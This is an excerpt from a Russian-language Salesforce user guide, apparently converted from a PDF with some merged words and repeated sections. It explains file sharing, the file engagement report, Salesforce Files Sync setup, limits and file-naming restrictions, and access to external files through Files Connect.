Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы изменить имя и описание файла, выполните указанные ниже действия.

1. Щелкните ссылку «Редактировать сведения» или значок редактирования ( )
напротив описания на странице сведений о файле.

2. При необходимости измените имя и описание файла.

3. Нажмите кнопку «Сохранить».

Чтобы добавить описание, щелкните ссылку «Добавить описание» или значок
редактирования ( ) рядом с описанием.

Ответственные, соавторы и пользователи с полномочием «Изменение всех данных»
могут редактировать сведения о файлах.

СМ. ТАКЖЕ:

Просмотр сведений о файле
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Просмотр областей совместного использования файла

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Информация о пользователях, имеющих право на просмотрфайла, и присвоенных им
уровнях доступа. На странице сведений о файле приводится полный список лиц и
объектов, имеющих доступ к файлу.

Список «Общийдоступс» содержит сведения опользователях, которымпредоставлен
общий доступ к файлу, и их уровнях доступа.

Если выиспользуете Salesforce Classic, щелкните ссылку «Показатьвсе», чтобыоткрыть
диалоговое окно «Параметры общего доступа». Здесь можно выполнить следующие
действия.

• Просмотрите пользователей, которымпредоставляется общий доступ кфайлу, иих
полномочия: ответственный, соавтор, гость или нет доступа.

• Чтобыпредоставитьдоступкфайлуопределеннымлюдям, щелкнитессылку«Люди»
в диалоговом окне «Параметры общего доступа».

• Чтобы предоставить доступ к файлу определенным группам, щелкните ссылку «Группы» в диалоговом окне
«Параметры общего доступа».

• Щелкните ссылку «Библиотека», чтобы предоставить библиотеке общий доступ к файлу.

• Чтобысоздатьиопубликоватьссылкунафайл, щелкнитессылку «Любойсссылкой» вдиалоговомокне «Параметры
общего доступа».

• Чтобы удалить файл и ссылку на файл (при ее наличии) из областей, где файл был доступен для совместного
использования, щелкните ссылку «Сделать личным». Чтобы удалить файл из областей, где он был доступен для
совместного использования, кроме библиотеки, щелкните ссылку «Ограничить доступ» (если файл был загружен
избиблиотеки Salesforce CRM Content).Толькоответственныеипользователисполномочием «Изменениевсехданных»
могут делать файлы личными ( ) или ограничивать доступ.

• Чтобы отменить доступ определенного пользователя или группы к файлу, щелкните напротив нужного имени в
диалоговом окне «Параметры общего доступа».

СМ. ТАКЖЕ:

Отмена общего доступа к файлу

Кто может просматривать мой файл
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Отчет «Занятость файлов и содержимого»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска и просмотра
отчета по файлам:
• «Запуск отчетов»

Данный отчет позволяет пользователям просматривать сведения о файле (например,
количество загрузок, публикаций, предпочтений и комментариев).

Чтобызапуститьипросмотретьотчет «Занятостьфайловисодержимого», содержащий

указанныенижеполя, щелкните ссылку «Показатьотчетпофайлам»на странице
сведений о файле.

ОписаниеПоле

Количество загрузок файла.Итого загрузок

Количество публикацийфайла в ленту.
Данное количество не охватывает
добавления файла в комментарии к
сообщениям.

Сообщения

Количествокомментариевкпубликациям
файла в лентах.

Комментарии к сообщению

Количество предпочтений, отданных
публикациямфайла в лентах. Данное
количество не охватывает предпочтения,

Предпочтения

отданные комментариям к публикации
файла.

Количество публикацийфайла
посредством параметра «Общий доступ

Общие ресурсы

с людьми» и «Общий доступ с
группами». При выборе ссылки
«Опубликовать» в публикациифайла
данное действие считается сообщением.

Количество публикацийфайла
посредством параметра «Общий доступ

Ссылки

по ссылке». Если файл загружается в
библиотеку Salesforce CRM Content, то
данное количество также охватывает
доставки содержимого.

Пример: Количества, отображаемыеотчетом «Занятостьфайловисодержимого», являютсяобщимидлявсех версий
файла. Например, еслифайл доступен в двух версиях, одна из которых загружалась 4 раза, а вторая — 5 раз, то поле
«Итого загрузок» отображает 9 загрузок.

СМ. ТАКЖЕ:

Фильтрация данных отчета

Экспорт отчета
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Синхронизация файлов

Начало работы с Salesforce Files Sync

ПриложениеSalesforce Files Syncпозволяет упроститьпроцессыуправления, синхронизацииисовместногоиспользования
файлов.

Приложение Salesforce Files Sync отличается простым использованием. Просто сохраните файлы в папке Salesforce Files
Sync на рабочем столе; все остальное сделает приложение Salesforce Files Sync.

Доступ к синхронизированнымфайлам из любого места
Файл, сохраненный в папке Salesforce Files Sync, автоматически становится доступным во всех соответствующих
областях. Чтобыпросмотретьфайл, воспользуйтесьфильтром «Синхронизированные» на вкладке «Файлы» в Chatter
или приложении Salesforce1.

Предоставление общего доступа кфайлам прямо из папки Salesforce Files Sync на настольном компьютере
Чтобы предоставить общий доступ людям или группам Chatter, щелкните нужныйфайл правой кнопкой мыши.
Чтобы предоставить общий доступ любому пользователю, воспользуйтесь ссылкой.

Постоянный доступ к последней версии каждогофайла
Редактирование файла, сохраненного в папке Salesforce Files Sync на рабочем столе, инициирует его мгновенное
обновление для каждого пользователя. Приложение Salesforce Files Sync поддерживает управление версиями, поэтому
устаревшие версии файла могут быть доступны пользователю по мере необходимости.

Salesforce Files Sync. Требования к системе

Оптимальная работа приложения Salesforce Files Sync гарантируется только при соответствии используемой системы
минимальным рекомендованным требованиям.

Ниже перечислены минимальные требования для использования приложения Salesforce Files Sync.

MacWindowsТребование к системе

Apple® Mac OS X 10.8 Mountain Lion или
более поздней версии

Microsoft® Windows® 7 илиболеепоздней
версии

Поддерживаемые операционные
системы

Процессор Intel® Core™ Duo 1,83 ГГцили
лучше

x86-совместимый процессор 2,33 ГГц
или лучше/процессор Intel® Atom™

1,6 ГГц для нетбуков или лучше

Процессоры

512 МбОЗУ (рекомендуем 1 Гб)512 МбОЗУ (рекомендуем 1 Гб)Память

4 Гб свободного пространства для
операций синхронизации

4 Гб свободного пространства для
операций синхронизации

Жесткий диск

Установка Salesforce Files Sync

Чтобы синхронизировать файлы между компьютером, системой Salesforce и приложением Salesforce1 на мобильных
устройствах, установите клиентское приложение Salesforce Files Sync на рабочий стол.

1. Вразделе личных параметров введите «Files Sync» в поле «Быстрый поиск» и выберите пункт «Salesforce Files
Sync». Вам выводится несколько результатов? Выберите тот, который находится в разделе «Личные параметры».

2. Нажмите кнопку «Загрузить».
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3. Выполните инструкции по установке для используемой операционной системы.

4. Выполните вход посредством регистрационных данных Salesforce.

Уведомление о наличии обновления для установленного приложения Salesforce Files Sync отображается пользователям
автоматически.

Прим.: Клиентское приложение Salesforce Files Sync должно запускаться на локальном диске. Внешние области
(например, сетевые диски или установленные устройства) не поддерживаются.

Salesforce Files Sync. Требования к системе

Оптимальная работа приложения Salesforce Files Sync гарантируется только при соответствии используемой системы
минимальным рекомендованным требованиям.

Ниже перечислены минимальные требования для использования приложения Salesforce Files Sync.

MacWindowsТребование к системе

Apple® Mac OS X 10.8 Mountain Lion или
более поздней версии

Microsoft® Windows® 7 илиболеепоздней
версии

Поддерживаемые операционные
системы

Процессор Intel® Core™ Duo 1,83 ГГцили
лучше

x86-совместимый процессор 2,33 ГГц
или лучше/процессор Intel® Atom™

1,6 ГГц для нетбуков или лучше

Процессоры

512 МбОЗУ (рекомендуем 1 Гб)512 МбОЗУ (рекомендуем 1 Гб)Память

4 Гб свободного пространства для
операций синхронизации

4 Гб свободного пространства для
операций синхронизации

Жесткий диск

Подключение приложения Salesforce Files Sync к другим организациям Salesforce

Настройте приложение Salesforce Files Sync для подключения к другим организациям Salesforce.

Отключение приложения Salesforce Files Sync от организации Salesforce инициирует резервное копирование
синхронизированныхфайловвпапкупоимени «Salesforce Files_Old». Прииспользованииоперационнойсистемы Windows
папка резервных копий доступна по адресу C:\Users\Имя пользователя\Salesforce Files_Old, где переменная
Имя пользователя заменяется именем пользователя Windows. При использовании операционной системы Mac папка
резервных копий доступна по адресу /Users/Имя пользователя/Salesforce Files_Old, где переменная Имя
пользователя заменяется именем пользователя Mac. Синхронизированные файлы всегда доступны посредством
соответствующей организации Salesforce.

Внимание: Прежде чем подключить приложение Salesforce Files Sync к новой организации Salesforce, закройте все
файлыипапки, сохраненныевпапкеSalesforce Files Sync. Файлыипапки, открытыенамоментотключенияприложения
Salesforce Files Sync от организации Salesforce, не подлежат резервному копированию и автоматически
синхронизируются со следующей организацией Salesforce, подключенной к приложению Salesforce Files Sync.

Чтобы синхронизировать файлы с другой организацией Salesforce, настройте новое подключение для приложения
Salesforce Files Sync.

1. Правой кнопкой мышищелкните значок «Salesforce Files Sync» в системной области или строке меню.

2. Выберите пункт «Настройки...».

3. Чтобы отключить приложение от текущей организации Salesforce, нажмите кнопку «Выход».
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4. Заполните поле «Имя» раздела «Новое подключение».

5. Заполните поле «https://»  URL-адресом входа для организации Salesforce.

6. Нажмите кнопку «Вход».

7. Введите регистрационные данные и нажмите кнопку «Вход».

8. Чтобы включить приложение Salesforce Files Sync, нажмите кнопку «Разрешить».

Подключение к новой организации инициирует синхронизацию всех файлов, добавленных в папку Salesforce Files Sync.
Файлы, синхронизированные с подключенной организацией, автоматически загружаются в папку Salesforce Files Sync на
рабочем столе.

Синхронизация файлов и папок

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизациифайлов:
• «Синхронизация

файлов»

Чтобы синхронизировать файлы и папки, сохраните их в папке Salesforce Files Sync на

рабочем столе или щелкните «Синхронизировать» при просмотре файла
посредством сообщения ленты, комментария, списка файлов или страницы сведений
о файле.

Прежде чем синхронизироватьфайлы, рекомендуем установить приложение Salesforce
Files Sync на рабочий стол.

По умолчанию синхронизированные файлы являются личными. Другими словами,
файл, сохраненныйвпапке Salesforce Files Syncнарабочемстоле, можетбытьдоступенв веб-приложенииSalesforce только
текущемупользователю. Принеобходимостипредоставьтедругимпользователямобщийдоступк синхронизированным
файлам.

Папка Salesforce Files Syncнарабочемстоле, веб-приложение Salesforceиприложение Salesforce1намобильныхустройствах
всегда предоставляют доступ к последней версии синхронизированныхфайлов. Подобно другим файлам Salesforce,
предыдущие версии синхронизированныхфайлов доступны пользователям в Chatter.

Чтобы синхронизировать файлы, выполните указанные ниже действия.

1. Откройте клиентское приложение Salesforce Files Sync и сохранитефайлы в папке Salesforce Files Sync или перетащите
нужные файлы в папку Salesforce Files Sync.

При использовании операционной системы Windows папка Salesforce Files Sync доступна по адресу C:\Users\Имя
пользователя\Salesforce Files, где переменная Имя пользователя заменяется именем пользователя Windows. На
компьютере Mac папка Salesforce Files Sync доступна по адресу /Users/Имя пользователя/Salesforce Files, где
переменная Имя пользователя заменяется именем пользователя Mac.

Щелкните «Синхронизировать» при просмотре файла посредством вкладки «Файлы», сообщения ленты или
любой области полной версии системы Salesforce, использованной для публикации или перечисления файла.

2. Данное действие инициирует синхронизациюфайлов.

Синхронизированныефайлыдоступныввеб-приложении Salesforceиприложении Salesforce1намобильныхустройствах.
Файл, удаленный из папки Salesforce Files Sync, может быть просмотрен посредством фильтра «Принадлежащие мне» в
разделе «Файлы» вкладки Chatter.

Доступ к синхронизированным файлам на компьютере, в веб-приложении и на мобильных устройствах

Синхронизированные файлы доступны в папке Salesforce Files Sync на рабочем столе, в веб-приложении Salesforce и
приложении Salesforce1 на мобильном устройстве.
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Поиск синхронизированныхфайлов на рабочем столе

Синхронизированныефайлы хранятся на рабочем столе в папке Salesforce Files Sync. При использовании операционной
системы Windows папка Salesforce Files Sync доступна по адресу C:\Users\Имя пользователя\Salesforce Files, где
переменная Имя пользователя заменяется именем пользователя Windows. На компьютере Mac папка Salesforce Files Sync
доступна по адресу /Users/Имя пользователя/Salesforce Files, где переменная Имя пользов теля заменяется
именем пользователя Mac.

Чтобыоткрытьпапку Salesforce Files Syncиз системнойобластиилистрокименю, правойкнопкоймышищелкните значок

«Salesforce Files Sync» > «Открыть папку Salesforce Files Sync».

Внимание: Перемещениепапки Salesforce Files Sync вне стандартногокаталогапрепятствует синхронизациифайлов.
Чтобы гарантировать синхронизациюфайлов, не рекомендуем перемещать папку Salesforce Files Sync.

Поиск синхронизированныхфайлов в веб-приложении

Синхронизированные файлы хранятся в веб-приложении на вкладке «Файлы».

Чтобы просмотреть синхронизированные файлы и папки, щелкните ссылку «Синхронизированные» на вкладке
«Файлы». Последние синхронизированные файлы отображаются в списке первыми.

Поиск синхронизированныхфайлов на мобильном устройстве

Синхронизированные файлы хранятся на мобильном устройстве в приложении Salesforce1.

Чтобы просмотреть список синхронизированныхфайлов, коснитесь значка на странице «Файлы» и выберите пункт
«Синхронизированные».

Работа с синхронизированными файлами и папками

СинхронизированныефайлыипапкианалогичныдругимфайламSalesforce, ноотличаютсянекоторымидополнительными
функциями.

По умолчанию синхронизированные файлы являются личными. Другими словами, файл, сохраненный в приложении
Salesforce Files Sync на рабочем столе, может быть доступен в веб-приложении Salesforce только текущему пользователю.
При необходимости предоставьте другим пользователям общий доступ к синхронизированнымфайлам.

Папка Salesforce Files Syncнарабочемстоле, веб-приложение Salesforceиприложение Salesforce1намобильныхустройствах
всегда предоставляют доступ к последней версии синхронизированныхфайлов. Подобно другим файлам Salesforce,
предыдущие версии синхронизированныхфайлов доступны пользователям в Chatter.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Предоставление общего доступа к синхронизированным файлам

Общий доступ к синхронизированнымфайламможет быть предоставлен прямо из папки Salesforce Files Sync на рабочем
столе.

ОбщийдоступксинхронизированнымфайламможетбытьпредоставленлюдямигруппамChatter внутриизапределами
организации (посредством созданной ссылки). По умолчанию синхронизированные файлы являются личными, но
параметры их доступности могут быть изменены при предоставлении общего доступа.
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При предоставлении общего доступа пользователю или группе с полномочиями соавтора загрузка исходной версии
файла, редактирование и загрузка новой версии файла, выполняемые соавторами, инициируют автоматическую
синхронизациюпоследнейверсии. Редактированиеисинхронизацияновойверсиифайлаинициируютавтоматическое
предоставление доступа соответствующим людям и группам к последней версии файла.

Чтобы предоставить общий доступ к файлу прямо из папки Salesforce Files Sync, выполните указанные ниже действия.

1. Правой кнопкой мышищелкните нужныйфайл в папке Salesforce Files Sync на рабочем столе.

2. Найдите меню «Salesforce Files Sync» и выберите один из указанных ниже пунктов: общий доступ с людьми, общий
доступ с группами Chatter или общий доступ по ссылке.

3. Выберитеименанужныхлюдейилигрупп, назначьтеполномочие «Гость» или «Соавтор» ивведитедополнительное
сообщение. При предоставлении общего доступа к файлу по ссылке скопируйте соответствующую ссылку.

4. Нажмите кнопку «Опубликовать».
Электронное уведомление отправляется каждому пользователю, которому предоставляется общий доступ к файлу.

Управление версиями синхронизированных файлов

Аналогично другим файлам Chatter, синхронизированные файлы также поддерживают возможность просмотра
предыдущих версий.

Файл, синхронизированный впервые, отображается в списке файлов как «Версия 1». Изменение синхронизированного
файла, выполняемое на компьютере или мобильном устройстве, инициирует автоматическое создание новой версии
при каждом сохранениифайла. Чтобы просмотреть предыдущие версии, откройте страницу сведений о нужномфайле
в Chatter.

Уведомление о создании новой версии отображается в ленте Chatter каждого пользователя, отслеживающего
синхронизированныйфайл. Загрузка новых версий синхронизированныхфайлов доступна соавторам.

Внимание: Чтобы получить новую версию синхронизированного файла, открытого на настольном компьютере
во время загрузки новой версии соавтором, рекомендуем закрыть файл без сохранения. Сохранение открытого
файла инициирует перезапись изменений, внесенных соавтором, текущей версией.

Ограничения для Salesforce Files Sync

Ниже перечислены ограничения по синхронизациифайлов посредством приложения Salesforce Files Sync.

ОграничениеФункция

Объем хранилища определяется количеством
приобретенных лицензий Salesforce. При необходимости

Единое хранилище

организации могут приобретать дополнительное
хранилище. Дополнительную информацию см. в разделе
«Ограничения для хранилищ Salesforce Files Sync».

Пользователи могут синхронизировать не более 10 000
файлов.

Максимальное количество синхронизированныхфайлов

500 папокМаксимальное количество синхронизированных папок

Размер файла • 2 Гб при загрузке посредством веб-интерфейса
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ОграничениеФункция

• 2 Гбпризагрузкепосредствомнастольногоклиентского
приложения Salesforce Files Sync (или 500 Мб при
использовании прокси-сервера)

• 100 Мб при загрузке посредством мобильного
устройства

2,048Максимальное количество версий на один файл

1 000 пользователейМаксимальное количество пользователей, которым
доступна одновременная синхронизация файла

10 000 вчаснапользователяодногосвязанногоприложения
посредством настольного клиентского приложения
Salesforce Files Sync

При достижении максимального количества вызовов
Connect API приложение Salesforce Files Sync временно

Максимальное количество вызовов Connect API

приостанавливаетсинхронизациюфайлов. Синхронизация
возобновляется автоматически примерно через час.

Ниже перечислены условия, при выполнении которых приложение Salesforce Files Sync продолжает синхронизацию
текущих файлов, но не синхронизирует новые файлы.

• Папка Salesforce Files Sync содержит более 10 Гб файлов.

• Организация достигает ограничения по размеру общедоступного хранилищафайлов.

• Папка Salesforce Files Sync содержит более 10 000файлов или 500 папок.

• Размер нового файла превышает индивидуальное ограничение по размеру файла.

Ниже перечислены условия, при выполнении которых приложение Salesforce Files Sync прекращает синхронизацию
файлов.

• Пользователь перемещает папку Salesforce Files Sync вне стандартного каталога. При использовании операционной
системы Windows стандартный каталог доступен по адресу C:\Users\Имя пользователя\Salesforce Files, где
переменная Имя пользователя заменяетсяименемпользователя Windows. Прииспользованииоперационнойсистемы
Mac стандартныйкаталог доступенпо адресу /Users/Имя пользователя/Salesforce Files, где переменная Имя
пользователя заменяется именем пользователя Mac. Приложение Salesforce Files Sync возобновляет синхронизацию
после перемещения папки Salesforce Files Sync в стандартный каталог.

Ограничения для хранилищ Salesforce Files Sync

Приложение Salesforce Files Sync применяет два ограничения для хранилищ: общедоступное хранилище и личное
хранилище.

Общедоступное хранилище

Размеробщедоступногохранилищафайловорганизацииопределяетсяпутемумноженияограничения, предоставляемого
для одного пользователя, на количество пользователей организации и добавления ограничения, предоставляемого для
организации. For example, a Professional Edition organization with 10 users receives 11 GB of file storage, or 100 MB per user multiplied
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by 10 users plus an additional 10 GB. A Professional Edition organization with 100 users receives 20 GB of file storage, or 100 MB per user
multiplied by 100 users plus an additional 10 GB.

Если организация использует весь объем общедоступного хранилища, то приложение Salesforce Files Sync продолжит
синхронизацию текущих файлов, но начнет синхронизацию новых файлов только после удаления текущих файлов
или приобретения дополнительного хранилища у компании salesforce.com.

Распределение хранилища файлов
на лицензию пользователя

Распределение хранилища файлов
на организацию

Версия Salesforce

612 Мб11 ГбContact Manager

612 Мб11 ГбGroup Edition

612 Мб11 ГбProfessional Edition

2 Гб11 ГбEnterprise Edition

2 Гб11 ГбPerformance Edition

2 Гб11 ГбUnlimited Edition

—20 МбDeveloper Edition

—20 МбPersonal Edition

Прим.: Если организация использует настраиваемые лицензии пользователя, обратитесь к администратору для
определения лицензий, поддерживающих дополнительное хранилище.

Личное хранилище

Приложение Salesforce Files Sync позволяет синхронизировать не более 10 Гб файлов между папкой Salesforce Files Sync
нарабочемстоле, веб-приложениемSalesforceиприложениемSalesforce1намобильныхустройствах. ПриложениеSalesforce
Files Sync продолжит синхронизацию текущих файлов, но не будет синхронизировать новые файлы при добавлении в
папку Salesforce Files Sync более 10 Гб файлов. Чтобы синхронизировать новые файлы при достижении ограничения по
размеру личного хранилища, равного 10 Гб, рекомендуем удалить текущие файлы.

Имена и расширения файлов, препятствующие синхронизации

Некоторые характеристики файлов могут препятствовать их синхронизации между устройствами и веб-приложением.

• Файлы размером 0 байт

• Файлы без расширения

• Файлы с именами, начинающимися со следующих компонентов:

– AUX.

– CLOCK$.

– COM1.

– COM2.

– COM3.

– COM4.

– COM5.

3367

Создание, публикация и систематизация файловРасширенное сотрудничество



– COM6.

– COM7.

– COM8.

– COM9.

– CON.

– LPT1.

– LPT2.

– LPT3.

– LPT4.

– LPT5.

– LPT6.

– LPT7.

– LPT8.

– LPT9.

– NUL.

– PRN.

– ~

– .

• Файлы со следующими именами:

– desktop.ini

– thumbs.db

– .DSStor

• Файлы со следующими расширениями:

– .tmp

– .conflicted

– .part

– .partial

– .download

– .crdownload

– расширения, начинающиеся символами .sb-

• Разные операционные системы используют разные ограничения для имен файлов. Приложение Salesforce Files Sync
синхронизирует все файлы, имена которых поддерживаются операционной системой. Другими словами, файл, имя
которого может быть задано на компьютере, может быть синхронизирован посредством приложения Salesforce Files
Sync. Еслифайл, синхронизируемый в операционной системе Mac® OS X®, синхронизируется с веб-приложением, но
его имя не поддерживается операционной системой Microsoft Windows®, то данныйфайл не загружается на рабочий
стол Windows.

Чтобыгарантировать синхронизациювсехфайловмежду всемикомпьютерами, рекомендуемнеиспользоватьимена
файлов, содержащие указанные ниже символы.

– \ (обратная косая черта)

– : (двоеточие)
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– * (звездочка)

– ? (вопросительный знак)

– ' (апостроф)

– < (символ «меньше»)

– > (символ «больше»)

– / (косая черта)

– | (вертикальная черта)

– TM (символ товарного знака)

– ∞ (символ бесконечности)

– § (символ раздела)

– • (символ маркера)

– ≠ (символ неравенства)

– ` (символ ударения)

– “ (кавычки)

– ... (многоточие)

– ≥ (символ «больше или равно»)

– ≤ (символ «меньше или равно»)

– & (амперсанд)

• Файлы, имена которых содержат более 254 символов

Ограничения для имен синхронизированных папок

Приложение Salesforce Files Sync не синхронизирует некоторые папки ввиду применения ограничений для имен папок.

Разные операционные системы используют разные ограничения для имен папок. Приложение Salesforce Files Sync
синхронизирует все папки, имена которых поддерживаются операционной системой. Другими словами, папка, имя
которойможет быть заданона компьютере, может быть синхронизированапосредствомприложения Salesforce Files Sync.
Если папка, синхронизируемая в операционной системе Mac® OS X®, синхронизируется с веб-приложением, но ее имя не
поддерживается операционной системой Microsoft Windows®, то данная папка не загружается на рабочий стол Windows.

Чтобы гарантировать синхронизацию всех файлов между всеми компьютерами, рекомендуем не использовать имена
папок, которые:

• Содержат данные символы:

– / (косая черта)

– \ (обратная косая черта)

– : (двоеточие)

– * (звездочка)

– ? (вопросительный знак)

– “ (кавычки)

– < (символ «меньше»)

– > (символ «больше»)

– | (вертикальная черта)

• Содержат более 255 символов
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• Соответствуют имени другой папки в том же каталоге

Удаление файла со страницы сведений о файле

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобыудалитьфайлизвсехобластей, гдеонбылдоступен, щелкнитессылку «Удалить»
на странице сведений о файле. Если доступ к файлу был предоставлен по ссылке, то
данная ссылка больше не сможет использоваться для доступа к файлу. Чтобы
восстановить удаленныйфайл, щелкните ссылку «Корзина» на вкладке «Начальная
страница». Выберите файл и нажмите кнопку «Восстановить». При этом файл
восстанавливается во всех связанных областях, где он был доступен для совместного
использования.

Прим.: Удаление файлов доступно только ответственным и пользователям с
полномочием «Изменение всех данных». Дополнительную информацию о том,
кому и какие действия можно выполнять над файлами, см. в разделе «Кто может
просматривать мой файл».

СМ. ТАКЖЕ:

Удаление файлов и ссылок из ленты Chatter
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Внешние файлы

Ввод регистрационных данных для внешних источников данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к облачным
источникам данных
(например, SharePoint
Online):
• «Облачная версия Files

Connect»

Для доступа к локальным
источникам данных
(например, SharePoint 2010):
• «Локальная версия Files

Connect»

Еслиадминистраторнастроилисточникданных (например, SharePoint) дляиспользования
индивидуальной проверки подлинности, введите регистрационные данные в систему
Salesforce.

Совет: При первоначальном доступе к внешней системе Salesforce отображает
запрос на ввод регистрационных данных. Щелкните предоставленнуюссылку для
автоматического выполнения большинства действий.

1. Введите строку «Проверка подлинности» в поле «Быстрый поиск» на странице
«Личные параметры» и выберите пункт «Параметры проверки подлинности для
внешних систем».

2. Нажмите кнопку «Создать».

3. Выберите пункт «Внешний источник данных» из меню «Тип родительского
объекта».

4. Выберите источник данных, созданный администратором, из меню «Внешний
источник данных».

5. При выборе SharePoint 2010 или SharePoint 2013 настройте параметры ниже.

• «Протокол проверки подлинности»: выберитезначение «Проверкаподлинности
паролей».

• «Имя пользователя»: введите имя пользователя SharePoint.

• «Пароль»: введите пароль SharePoint.

6. При выборе Google Drive, SharePoint Online или OneDrive for Business настройте
параметры ниже.

• «Протокол проверки подлинности»: выберите значение «OAuth 2.0».

• «Поставщик проверки подлинности»: выберите поставщика, созданного
администратором для данного источника данных.

• «Область»: пропустите данное поле.

• «Начать процесс проверки подлинности при сохранении»: установитеданный
флажок для немедленной проверки регистрационных данных посредством
внешнего источника данных.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Доступ и публикация внешних файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect для внешних
источников данных на
основе облака доступен в
следующих версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для локальных
внешних источников
данных доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к облачным
источникам данных
(например, SharePoint
Online):
• «Облачная версия Files

Connect»

Для доступа к локальным
источникам данных
(например, SharePoint 2010):
• «Локальная версия Files

Connect»

После включения функции подключения файлов пользователи могут просматривать
файлы из внешних источников (например, Google Drive и SharePoint) или публиковать
файлы посредством начальной страницы «Файлы» и ленты.

Загрузка или публикация файлов на вкладке «Файлы»

Чтобы загрузить внешние файлы в локальную систему или опубликовать файлы для
общей группы пользователей, воспользуйтесь вкладкой «Файлы».

1. Выберите вкладку «Файлы» вверху окна Salesforce.

2. Список «Внешние файлы», расположенный в левом столбце, содержит доступные
внешние источники данных. Чтобы просмотреть файлы, щелкните внешний
источник данных.

Прим.: Вспискенедавнихсодержимое Google Drive ограничивается 24 недавно
просмотренными документами за последние 30 дней. Система Salesforce
поддерживает документы, таблицы, презентации и рисунки Google.

3. Щелкните раскрывающееся меню , расположенное слева от имени файла, и
выберите одно из указанных ниже действий.

• «Открыть»файл во внешнем источнике данных (например, SharePoint).

• «Загрузить»файл в локальную систему. (Не более 2 Гб при использовании
локальной системы (например, SharePoint 2010).)

• «Опубликоватькопию» внешнегофайла, хранящегося в системе Salesforce. При
предоставленииобщегодоступа группеChatterфайлыдоступнывсемучастникам
группы, несмотря на возможную недоступность внешней системы.

• «Опубликовать ссылку»на внешнийфайл, хранящийся вне системы Salesforce.
Предварительный просмотр не доступен. Загрузка файла доступна только для
пользователей с доступом к внешней системе. (Пользователи должны ввести
регистрационные данные для системы в разделе «Параметры проверки
подлинности для внешних систем» страницы «Личные параметры».)

Прим.: Режимобщегодоступаопределяется администратором; пользователям
отображаетсятолькоодинпараметр. Независимоотвыбранногорежимаобщего
доступа, Salesforcнебудетотображатьисправленияфайловвовнешнихсистемах.
Темнеменеережим «Ссылка» указываетнапоследниеверсиивданныхсистемах.

Публикация файлов в ленте

Чтобы добавить внешние файлы в конкретный диалог Chatter, воспользуйтесь лентой.
Всефайлы, публикуемыевленте, являютсякопиямиилиссылками (режимобщегодоступаопределяетсяадминистратором).

1. Присозданиисообщениящелкнитессылку«Файл»надлентой, а затемщелкнитессылку«Выбратьфайлв Salesforce».

2. Выберите нужный внешний источник (например, SharePoint) в левом столбце.

3. Щелкните ссылку «Вложить» напротив нужного файла.
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СМ. ТАКЖЕ:

Предоставление пользователям общего доступа к файлам в Salesforce Classic

Предоставление общего доступа к файлам группам

Предоставление общего доступа к файлам библиотекам
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Поиск внешних файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к облачным
источникам данных
(например, SharePoint
Online):
• «Облачная версия Files

Connect»

Для доступа к локальным
источникам данных
(например, SharePoint 2010):
• «Локальная версия Files

Connect»

Система Salesforce позволяет выполнять поиск внешнего источника данных (например,
Google Drive или SharePoint).

Поиск по конкретному внешнему источнику данных

1. Щелкните имя нужного источника данных в левом столбце вкладки Chatter или
«Файлы».

2. Введите критерии поиска (например, заголовок документа или имя автора) в поле
поиска, отображаемое для источника данных. (Данные, доступные для поиска,
определяются конфигурацией внешнего источника данных.)

Глобальный поиск данных Salesforce и внешних данных

При включении глобального поиска для внешнего источника данных его содержимое
может беспрепятственно обрабатываться поиском наряду с данными Salesforce.

1. Введите критерии поиска в поле глобального поиска, расположенное вверху окна
Salesforce.

2. Чтобы отфильтровать отображаемые результаты, щелкните имя конкретного
внешнего источника данных (например, «SharePoint 2010») в левом столбце.

Совет: Чтобыбыстроизвлекать содержимоеиз конкретного внешнегоисточника
данных, зафиксируйтееговверхнейчастирезультатовглобальногопоиска: наведите
указатель мыши на имя нужного источника данных в левом столбце и щелкните
значокфиксации. (Приотсутствиинужного источника данныхщелкните «Искать
все».)
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Библиотеки документов

Общие сведения о библиотеке документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Библиотека документов — это область хранения файлов без их добавления в
организации, контакты, возможностиилидругие записи. Каждыйдокументвбиблиотеке
документовхранитсявсоответствующейпапке. Атрибутыпапкиопределяютдоступность
самой папки и хранимых документов.

Отображение вкладки «Документы»

Если вкладка «Документы» недоступна, настройте параметры ее отображения.

Прим.: Вкладка «Документы» не является частью Salesforce CRM Content.

СМ. ТАКЖЕ:

Разница между вкладкой «Файлы», Salesforce CRM Content, Salesforce Knowledge, вкладкой «Документы» и связанным
списком «Вложения»

Начальная страница документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

